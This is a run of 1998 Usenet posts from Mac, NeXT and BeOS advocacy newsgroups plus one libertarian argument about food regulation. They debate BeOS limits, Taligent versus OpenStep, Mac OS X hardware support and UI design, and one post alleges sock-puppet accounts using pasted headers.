> Being sued by untold numbers of lawyers is also expensive.
This isn't the way free markets operate. You apparently missed the fact
that most meat producers don't sell directly to the consumer. They sell
to distributors like grocery stores. In a free market it would be the
responsibility of the distributors to audit the meat producers to their
satisfaction, since the distributors face the direct wrath of the
consumer. As long as audits are passed, business takes place as usual
and there is no need for lawsuits. If the audits are *not* passed, the
distributor finds another producer.
Lawsuits are the byproduct of a system wherein these voluntary
relationships cannot exist because of regulatory nooses, and offended
parties are forced to sue for damages rather than practice vigilance and
seek other suppliers as a matter of foresight when necessary.
> A company with
> a solid record of meeting the FDA/USDA requirements has a better chance
> of getting a case dismissed as frivolous then one that has a spotty
> record.
So much for the golden scales of justice and the blind sculpture of law.
> Do yourself a favor and read up on how goverment regulations are implemented.
Oh please. I sat through enough semesters of public policy and read
enough of your precious propaganda to know exactly how much grease is
applied to the skids of such idiocy.
> More often then not, they come about after years (and often decades) of
> public outcry.
Save it for your support group. Regulation is the result of the Iron
Triangle, the circular relationship between industry, consumer, and
regulatory agency. Industry more often than not is the one demanding
regulation because it protects the industry from both fierce competition
(read: lower prices) and from customer outcry, since simply following
regulatory guidelines is a near-guarantee that courts will throw out
consumer complaints, no matter how negligent those guidelines actually
allow you to be.
Of course, it doesn't always work out for the industry, as more and more
are discovering.
"In another federal case, the producer of a herbicide was held
responsible for the death of a worker who paid no attention to the
warning label, even though that label said exactly what federal rules
said that it should say. Despite the fact that the company had no legal
choice except to word the label precisely as prescribed by the
Environmental Protection Agency, the court ruled that 'the duty to
provide an adequate warning of the danger was not met' because its
warnings about fatal consequences did not include the particular fatal
consequence from which this individual died. Compliance with both
federal laws prescribing the exact wording of the warning and state laws
requiring more extensive warning 'cannot be said to be impossible,'
according to the court, which reasoned:
Chevron can continue to use the EPA-approved label and can at the
same time pay damages to successful tort plaintiffs such as Mr.
Ferebee; alternatively, Chevron can petition to EPA to allow the
label to be made more comprehensive.'
Thomas Sowell, _The Vision of the Anointed_
I can see how dedicated y'all are to protecting the public. So laudable.
> When the private sector has stepped in and fixed the problem
> themselves, the regulations aren't needed, and the government stays out.
I don't know where you get that (or any of the rest of this diatribe).
The 'problem' is defined by the government, not by the consumers and not
by the industry. The 'problem' never goes away. Explain agriculture
subsidies. Explain automotive safety regulations (despite the fact that
manufacturers continually go above and beyond the regulations; nobody
forced Volvo to build SIPS into its cars). Surely, as long as people are
dying in automobile accidents, regulation will be needed, no?
I'm reminded of an accident that happened while I was living in
Rochester, NY. A drunk driver's car collided with a school bus full of
children, and the impact caused the bus's gas tank to rupture, which
caught fire and killed one of the children. The mother of the child
spent the next few years crusading for mandatory metal cages to be put
around school bus fuel tanks, and I believe she eventually prevailed.
According to her, the problem was that school bus gas tanks weren't safe
enough to prevent tragedies like the death of her daughter.
I remember hearing that on the news and thinking "It sounds to me like
the problem was a drunk driver", but then again, the anointed always
seem to know so much more about the rationales involved.
> The libertarian ideal sounds like a world of corporate despots to me.
Despots who compete for favor with a skeptical and vigilant public?
Doesn't sound very despotic to me. It sounds to me like putting the
customer back in charge, rather than protecting the unilateral
privileges of big business. You've definitely got it backwards, which
doesn't surprise me.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 20 Jul 1998 18:25:29 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6p022p$8s1$1@news.spacelab.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
Corey <corey@virtual-impact.com> wrote:
>On 20 Jul 1998, Kenneth C. Dyke wrote:
>> But in any case, it's not that this is *really* a critical bug I
>> guess... it's just very 'amusing' to see in such a new ground breaking
>> OS. And it's a limitation other systems I use don't seem to have,
>> rediculous or not.
>>
>
>Sure you have a valid point - although it's just as ridiculous for you
>to harp on that one - i.e. is that the only evidence you've found of
>limiting factors on the BeOS ??
Probably not. The most obvious problem with the BeOS is a lack of compelling
application software. Without that, BeOS lacks a good answer to the question
"why run it?"....
> ... sheesh, you know it must be a pretty damned sound platform for people
> have to go to such lengths as complain about not being able to open 200+
> windows at the same time with a single app.
Your reasoning is faulty.
>Now, tell me honestly - how many limitations does *your* platform of
>choice provide? ... It would have to be 0 for you to not appear as
>total hypocrite.
Speaking for myself, my platform of choice has a number of limitations, but
many of them don't matter to me, and others I simply live with consider the
limitations I have to deal with using other platforms.
Acknowledging that operating system software is flawed is acknowledging the
obvious, not hypocracy.
>And if you really want to get down to it, it's probably pretty reasonable
>to limit the amount of open windows down to a *mere* 200 - I mean, any
>program that produces more than just a couple handfulls should be shot
>and killed on the spot.
I don't like software that comes with arbitrary limitations. It tends to be
indicative of sloppy design and lazy (in the negative sense) programmers.
Still, you are right that this limitation of the BeOS is very unlikely to
affect reasonable situations.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 20 Jul 1998 18:52:35 GMT
Message-ID: <6p03lj$icm$1@nntp2.ba.best.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <35B28F41.5139@REMOVE.wayne.edu>
In-Reply-To: <35B28F41.5139@REMOVE.wayne.edu>
On 07/19/98, Eric Iverson wrote:
>Kenneth C. Dyke wrote:
>>
>> And on the BeOS front, Be still seems to have a long way to go to
build
>> an OS that you can't walk up to and hang in about 30 seconds --
without
>> even writing some nasty code. And this from a 'bug' that was
reported
>> as long ago as DR8.2 I think, and got marked as 'will not fix'. (In
>> case anyone cares, this is related to the fact that the application
>> server in BeOS uses one thread per window or offscreen bitmap, and
>> threads in BeOS currently have a fixed stack size -- app_server
>> eventually runs out of stack space for threads). Any modern OS that
>> will hang if the user opens 'too many' windows is in need of some
>> serious help.
>
>As is any user that wants to open >200 windows.
So it is the *user's* fault that the OS has an unrecoverable error
condition like this, for no other reason that from a stupid OS design
limitation? What the hell does an offscreen window or bitmap need 256K
of stack space for?
Hell, I'm sure it's *obvious* to users that they can only have so many
total onscreen windows and offscreen bitmaps at once - regardless of
how much memory or CPU they have. And hey, it is *so easy* to keep
track of how many there are too. Just fire up a Terminal window and
make sure app_server doesn't have 'too many' threads running.....
<sarcasm>
Gee, guess I better stop using OmniWeb, since it's obviously going to
blow up my OpenStep system any minute now since it caches all of the
inline images it's seen in offscreen windows. Those damned OS
limitations......
</sarcasm>
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com> <900978926.987177@kelp.mbay.net> <nFUs1.1386$E5.6629976@proxye1.san.rr.com> <35B41A4B.893D7DB0@alum.mit.edu>
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for Taligent patents?)
Message-ID: <8VVs1.1395$E5.6686139@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 05:44:36 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 22:44:36 PDT
Organization: TWC Road Runner, San Diego, CA
Eric Hermanson wrote in message <35B41A4B.893D7DB0@alum.mit.edu>...
>Ed Deans. wrote:
>
>>
>> OK, so today, extend PB/IB. For a side-by-side, it would be most fair to
>> compare cpConstructor, etc. with NEXT's 1.0 offering, rather than the
>> matured OPENSTEP.
>
>I wouldn't even say that! cpConstructor was based in C++, didn't support a
>dynamic binding (target/action) paradigm, and it crashed every time I saw a
>demo of it being run in the Taligent beta class.
Err...didn't you just say "beta"? Dynamic binding was planned if it wasn't
there when you saw it.
[Taligent as ambitious, including whole OS in classes could, frameworks
count]
>The Taligent object model was nothing more than an ill-designed bunch (i.e.
>over 10,000 classes) of hard to understand classes that were thrown
together,
>and then "simplified" by grouping the most important functionality in a
layer of
>classes and exposing the "simplified API" via a "layer" object.
There you go. 10,000 classes or 10,000,000,000,000 classes. I don't care.
Did you see in my previous post that I don't care about the implementation
details. I'm interested in ideas, concepts. Things Taligent's CommonPoint
covered (or was supposed to) vs. OpenStep.
I'm almost certain that 10,000 classes was both Application Services (the
analogue to OpenStep) and Object Services (a very rough analogue to BSD's
role on OPENSTEP for Mach).
It boils down to this:
Does OpenStep really have everything that such a framework (or set of
frameworks) needs to compete today? You can do quite a bit with OpenStep
certainly, but it doesn't provide everything?
Are there any good ideas in Taligent's efforts--functionality it attempted
to offer via it's classes or frameworks--which would be of value to Mac OS
X's ability to compete effectively and grow Apple's share of the market once
again?
To me "People, Places and Things" as revealed in the patents is quite
promising technology. I admit that I'm biased because they reflect closely
my own long-standing ideas for Human-Computer-Human interaction.
Wouldn't you like to see an object-based file system instead of the creaky
HFS (even with HFS+)? Wouldn't you like to have a document and task centric
model? Wouldn't you like to retain (or exceed) the ease of development
performance present with OpenStep? Wouldn't you like every
tool/app/editor/etc. to support collaboration without the programmer having
to go through considerable effort to build that functionality in? Wouldn't
you like to do away with all of those different contact managers/address
books which clutter your hard disk unnecessarily duplicating information.
Wouldn't you like to never had to deliberately Save a document again because
revisions are retained automatically, because changes are journaled
automatically? Etc., etc.
These are just some of the things Taligent was trying to accomplish and
successful or not, it had vision beyond what we've got in today's systems.
BeOS, OS/2, Windows, Mac OS and OPENSTEP for Mach included.
[Eric's personal opinion that Taligent's design was bad]
>I made several comments to my classmates that Taligent would be gone within
>six months, and that OpenStep would be adopted instead. Everyone ridiculed
>me. :)
It took longer than 6 months but you're at least partly right. OpenStep won
over Be for the same reasons it would likely win over Taligent: maturity.
Of course, NeXT had Jobs which I'm sure helped considerably.
Likely, Taligent's code wouldn't be reused in any Mac OS X adoption of
Taligent ideas. Didn't I read some of it's text-handling
stuff was being considered for the Yellow Box?
Why is it most of the OpenStep advocates refuse to look beyond what
OpenStep's limits are. Correct me if I'm wrong but didn't Xanthus have to
invent it's own drag/drop protocol (I might be thinking about
embedding/linking stuff like OLE instead) because OpenStep didn't support
anything like Apple's drag manager, for example?
--Ed.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: God darn you Edwin,
Date: Mon, 20 Jul 1998 17:58:47 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2007981758480001@sdn-ar-001casbarp292.dialsprint.net>
References: <macghod-1807980106470001@sdn-ar-001casbarp259.dialsprint.net> <B1D5FCE0-20201@209.186.4.86> <6oq4sm$gbn$1@news6.ispnews.com> <35B0D608.1CB2A75E@chicagonet.net>
In article <35B0D608.1CB2A75E@chicagonet.net>, ethorne@chicagonet.net wrote:
> Zico wrote:
> >
> > x-no-archive: yes
> >
> > Ummmm...anyone got a straightjacket for Sybil?
> >
> > "And if you don't get help at Charter, please get help somewhere..."
> >
> > Z
> >
> > Anton wrote:
> >
> > >You're some kind of nut. I never used a kill file before, but you're
> > >going to be my first entry.
> > >
> > >I've learned new words on this news group, like ad hominem, and the one
> > >that I use next.
> > >
> > >*plonk*
> > >
> > >Buh bye, kook!
> > >
> > >---------------------------------------------------
> > >This message was created and sent using the Cyberdog Mail System
> > >---------------------------------------------------
> > >
> ROTFLMAO. Better order TWO straight jackets, with Steve and Zico embroidered
> on them.
>
> Edwin
So lets see, first Edwin forward a whole bunch of stuff from macmarines
and evangelist. Lots of people complain, so he says he wont do it
anymore. Right after Edwin stops, someone "else" from Edwins same isp
starts doing the same thing. So I look through dejanews and find that
this someone "else", "anton", made a post where he said he was looking
through the magazine amiga format (and their are just tons of people who
read that ey?), AND Edwin, in the exact same small thread also says he was
looking at the same exact magazine. Then, the master of all trolls, Jason
S (extreme sarcasm) notes that Edwin and Anton posted from the EXACT SAME
IP WITHIN 2 minutes of each other!
Now because I suggested from this that Edwin and "anton" are the same
person, Edwin is suggesting I need a straight jacket? Can you please
explain your reasoning for this Edwin?
At the very least, Edwin knows who "anton" is, since it would be hard to
believe that they werent together when the posts were made (2 posts within
2 minutes of each other from the same ip? Puuulease Edwin, how dumb do
you think we are)
Bellow are the headers that Jason S got that show that they were posted
from the same ip:
From no.spam@all.for.me Sun Jul 19 20:22:42 1998
Path:
nntp.earthlink.net!newsfeed1.earthlink.net!feed2.news.erols.com!erols!howland.erols.net!news1.
ispnews.com!news11.ispnews.com!not-for-mail
From: "Anton" <no.spam@all.for.me>
Newsgroups: comp.sys.mac.advocacy
Subject: Fwd: [Follow Up] Get Cracking on DESII!
Date: 18 Jul 98 19:59:31 -0600
Organization: ISPNews http://ispnews.com
Lines: 42
Message-ID: <B1D6AF36-1992E9@209.186.4.227>
NNTP-Posting-Host: pppsl1027.chicagonet.net
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01:00:39 GMT)
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X-Original-From: "MacMarines Mailing List" <Mailcall@macmarines.com>
X-Mailer: Cyberdog/2.0
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From ethorne@chicagonet.net Sun Jul 19 20:22:46 1998
Path:
nntp.earthlink.net!newsfeed1.earthlink.net!news2.ais.net!jamie!ais.net!news1.ispnews.com!news1
1.ispnews.com!ethorne
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy
Subject: Fwd: [Tidbit] More iMac Support
Date: Sat, 18 Jul 1998 19:40:45 -0600
Organization: ISPNews http://ispnews.com
Lines: 34
Message-ID: <1dcdnyo.cfaccl1cqjqdcN@pppsl906.chicagonet.net>
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00:41:34 GMT)
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X-Newsreader: MacSOUP 2.3.3
Xref: nntp.earthlink.net comp.sys.mac.advocacy:373656
From ethorne@chicagonet.net Sun Jul 19 20:23:10 1998
Path:
nntp.earthlink.net!newsfeed1.earthlink.net!news2.ais.net!jamie!ais.net!news1.ispnews.com!news1
1.ispnews.com!not-for-mail
From: "Edwin E. Thorne" <ethorne@chicagonet.net>
Newsgroups: comp.sys.mac.advocacy
Subject: Re: I guess I need help.
Date: Sat, 18 Jul 1998 19:05:18 -0600
Organization: ISPNews http://ispnews.com
Lines: 10
Message-ID: <35B1464C.BC5C12FF@chicagonet.net>
References: <35B0D8A4.1F991071@chicagonet.net>
<35B1152C.9AFAA86D@milestonerdl.com>
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Xref: nntp.earthlink.net comp.sys.mac.advocacy:373637
From ethorne@chicagonet.net Sun Jul 19 20:23:40 1998
Path:
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From: "Edwin E. Thorne" <ethorne@chicagonet.net>
Newsgroups: comp.sys.mac.advocacy
Subject: Re: Throw that Dell flyer out!
Date: Sat, 18 Jul 1998 19:31:32 -0600
Organization: ISPNews http://ispnews.com
Lines: 148
Message-ID: <35B14C70.EDF2CBF7@chicagonet.net>
References: <35A4EDD7.3DE70628@rauland.com> <6o2un6$698$3@hecate.umd.edu>
<35a52fa3.0@d2o103.telia.c
om> <6o3n2f$79a$1@hecate.umd.edu> <35a695b1.0@d2o103.telia.com>
<6o67s9$95i$1@news12.ispnews.com> <6
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<MacsBug-1107982322140001@ppps
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<35ACC14A.B0F739E5@rauland.com> <6oihva$
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Xref: nntp.earthlink.net comp.sys.mac.advocacy:373651
From ethorne@chicagonet.net Sun Jul 19 20:23:43 1998
Path:
nntp.earthlink.net!newsfeed1.earthlink.net!newshub.northeast.verio.net!cpk-news-hub1.bbnplanet
.com!news.bbnplanet.com!howland.erols.net!news1.ispnews.com!news11.ispnews.com!not-for-mail
From: "Edwin E. Thorne" <ethorne@chicagonet.net>
Newsgroups: comp.sys.mac.advocacy
Subject: Re: Throw that Dell flyer out!
Date: Sat, 18 Jul 1998 19:36:16 -0600
Organization: ISPNews http://ispnews.com
Lines: 30
Message-ID: <35B14D8C.6C29D4D3@chicagonet.net>
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<35A762DC.577C@nospam.eart
hlink.net> <6oat28$dff$1@hecate.umd.edu> <35ACC473.98FD4156@rauland.com>
<6oiigs$vt9$2@hecate.umd.ed
u>
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--
Joe, do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera and observe the RDF from a safe distance.
- Sal Denaro
From: "Jason C Smith" <jason@escape.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 20 Jul 1998 20:13:15 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6p0qe0$bvi$1@supernews.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <atticus-1907981919040001@user-38lcdcg.dialup.mindspring.com>
Andy Walton wrote in message ...
>In article <900819436.724616@kelp.mbay.net>, mcgredo@otter.mbay.net
>(Donald R. McGregor) wrote:
>
>The definition I've always used for a "killer app" is an application that,
>all by itself, justifies buying the machine. That was certainly the case
>when my high school bought a Mac Plus for its newspaper in 1986 -- the
>$2500 spent on the computer saved us $500 an issue in typesetting. Paid
>for itself in a year, it did. Before the Mac, there was VisiCalc for the
>Apple II line, and Lotus 1-2-3 and dBase for the IBM PC.
BeOS doesn't need a "killer app". It needs a killer marketing department.
What was the Windows "killer app"? MS Office? The killer app for MS
Windows was a superb marketing department that convinced the top computer
makers to bundle it with their computers, killing any other OS that tried to
compete.
As far as a killer app itself, though, I don't think it needs to be
something new - it can be an improvement on the original concept.
VisiCalc was "killed" by 1-2-3, and 1-2-3 was "killed" by Excel.
So while everyone's trying to come up with something new, why not think
about what's currently out there and think about what it is you would like
to see improved. Anything that makes people more productive by providing
them with more ease of use while providing a migration path from their
legacy software would be a welcome start.
-Jason
Date: Mon, 20 Jul 1998 21:16:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2007982116060001@elk57.dol.net>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162>
In article <B1D929AE-A3562@206.165.43.162>, "Lawson English"
<english@primenet.com> wrote:
> Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
>
> >And yes, I would be better off on the wintel platform as far as OS
> >support goes. The lead programmer of our software company got himself a
> >PPro 200 slightly less than two and a half years ago. He can obviously
> >run the latest Windows and NT versions, and will likely be able to do so
> >for at least another few years. Faced with the same decision I bought a
> >7300 last autumn. It sure seems my hardware won't have the same support.
>
> I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
> Rhapsody and BeOS development. I *assumed* that the ability to run
> Rhapsody, the basis for the next-generation OS from Apple, would give me
> the ability to run the next-generation OS from Apple.
>
> I was wrong.
Why is that wrong? Every indication is that the 7300 will run Rhapsody
just fine.
Oh, you mean the one after that. Just how many future software versions
running on your 7300 is the _right_ number? Where does Apple draw the
line?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 21:14:32 -0500
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2007982114320001@128.84.203.147>
References: <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>
In article <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> There's no reason for that. If the OS runs across an unknown file type,
> then it can ask the user. If the file type (without any type/creator codes
> or file name extensions mind you) can be opened, then the OS does it.
>
> The OS does not have to keep a registry of all possible file types in the
> world. It has to keep a registry of the file types that the installed
> applications can open. Applications register the file types that they
> can open with the OS. It's actually a very similar concept to type/creator
> codes except now it's not a 4 letter code for each, it is the contents of
> the file. A jpeg is discernable from a sound file. I wouldn't want to have
> to make the decision by hand, but surely there is a way to tell the
> difference.
Most of those problems could be fixed if everybody had Internet Config set
up to correctly map file suffixes to Mac file types. If you're dealing
with documents created on a Mac, there is hardly ever any problem with the
current system. It's downloaded files that have their types set to ????
or some other generic type that cause headaches. Given that Apple is now
basically building Internet Config capability into MacOS 8.5, the problem
should decrease substantially as long as Apple ships it with a reasonably
robust set of suffix mappings.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 20 Jul 98 18:24:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1D93BDE-E7B9B@206.165.43.162>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com>
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Donald Brown <don.brown@cesoft.com> said:
>OS-X is a gamble. It's a hell of a project to pull off. The survival of
>the company depends on it.
Bull. OS-X is Rhapsody with a new kernel running on a single family of
processors and motherboards with a few new low-level APIs running on top of
that kernel (most/most of which are the low-level APIs that the Yellow Box
framework itself will be using).
The engineers in charge of this project, with 1/100th the budget, managed
to get the NeXTstep OS working on a reasonable subset of the plethora of
WIntel systems, AND their own hardware of all generations AND at least one
or two other hardware platforms from other manufacturers besides.
Are you trying to tell me that the NeXT engineers lied to Amelio when they
told him that they could make Rhapsody cross-platform, including whatever
kernel changes that they decided to make? Or maybe you're telling me that
switching versions of the same basic kernel is tougher than switching the
hardware?
I don't think so. This is a marketing issue, far, FAR more than it is an
engineering/cost-containment issue.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 01:39:51 +0200
Organization: Completely Disorganized
Message-ID: <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de>
References: <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
Mail-Copies-To: never
Pulsar <tokarek@uiuc.edu> wrote:
> On Mon, 20 Jul 1998, Michael Schuerig wrote:
>
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > Apple has been making the UI prettier without adding a lot of
> > > functionality or fixing behaviors.
> >
> > What exactly are you missing? What needs to be fixed? (Don't tell me
> > about unmounting disks by dragging them to the trash -- just use "Put
> > Away" instead.)
>
> Oh, come on. Are you dismissing that issue because there is a non-obvious
> solution? The UI should be intuitive. It should be easy. How are people
> going to know about put away? Why is that an _obvious_ way to deal with
> the problem?
Do you have any better idea? Then please suggest it to Apple.
> Anyway, another area that needs to be fixed is Open/Save dialogs and the
> pervasive use of system modal dialogs all over. One problem with Open/Save
> dialog boxes is that they are modal. When those are visible, you can do
> _nothing_ else with the computer. If you want to check up on some
> information that may be relevant to what you are doing, you must press
> cancel, go do whatever, and invoke the dialog box again. You cannot switch
> out of it.
And it is being fixed. I mean, as if you wouldn't know that Mac OS 8.5
will have Navigation Services. Of course I agree that modal dialogs are
bad in most cases, but _I_ don't see why I should complain about
StandardFile dialogs _now_. Very soon it's an annoyance of the past.
> The navigation of folders and such in the Open/Save dialogs is
> inconsistant with the Finder. It could present a similar interface, but it
> does not. You cannot search for files and there is no standard preview or
> navigation.
I agree -- probably more than you like. In my opinion Open/Save dialogs
should be abolished. Instead all file access ought to happen in the
Finder: A new document is created from stationery; then, to save it for
the first time (or in a new location) and icon representing the doc is
dragged from the doc window's title bar to the destination folder.
> The menu system could be better. Having a menu bar that stretches across
> the entire screen wastes space particularly on large screens where there
> are far too few menu choices to fill up even a majority of the space.
>
> See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
> might be better.
You sure have heard about Fitts' Law? But anyway, a more flexible menu
system would be a plus. So that anyone can configure it to their hearts
content. If it means that I can have the menus the way I like them and
you can have the menus the way you like them -- fine.
> > Don't get me wrong, I'm not trying to tell you to take the Mac UI as
> > it's always been and shut up. I'm always open for improvements, but
> > first I've got to understand what improvements you have in mind.
>
> The improvements I have in mind are not necessarily the best. I do not
> have a monopoly on good ideas (or bad ones either ;). I am just saying
> that there are problems with many facets to the Mac OS that _could_ be
> addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
> such, but there are a lot left that need to be better done before I think
> they can say that they have the best UI in the world and be proud of it.
What I find curious is, that all of your suggested changes are
incremental. Either you're complaining about missing consistency or you
suggest changes that can be taken as additional degrees of freedom for
the current UI. In effect that means, I see no in-principle reason why
Apple could not come up with something similar to your suggestions.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 18:42:58 -0700
Message-ID: <see-below-2007981842580001@dynamic53.pm04.mv.best.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Michael M. Eilers <not@a.valid.email.add> wrote:
>
> > The ones who are serious about Macs will upgrade to G3. 3rd Quarter 1999
>
> Just to get shafted again when OS X won't be released due to (insert
> excuses here)? But Apple instead has OS XI just around the corner but
> you need a G4 to run it?
>
> Also, why should I have to buy a new machine if the one I'm using is
> working fine and is plenty fast? It should work even better with OS X,
> if Apple's hype is true. We're talking about quite capable machines that
> gets the boot just because Apple feels like selling a few more G3's, and
> that's what's makes it so *ugly*.
I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
whatever, then I'd see the point, but as it is there's really no
distinction between a "G3 PowerMac" and any other PCI PowerMac or
compatible.
> The truth in the matter is that Apple simple has gotten greedy, and I'm
> pretty sure it's going to backfire on them.
>
> > is a VERY long time away. The ones who are not will stick with Allegro and
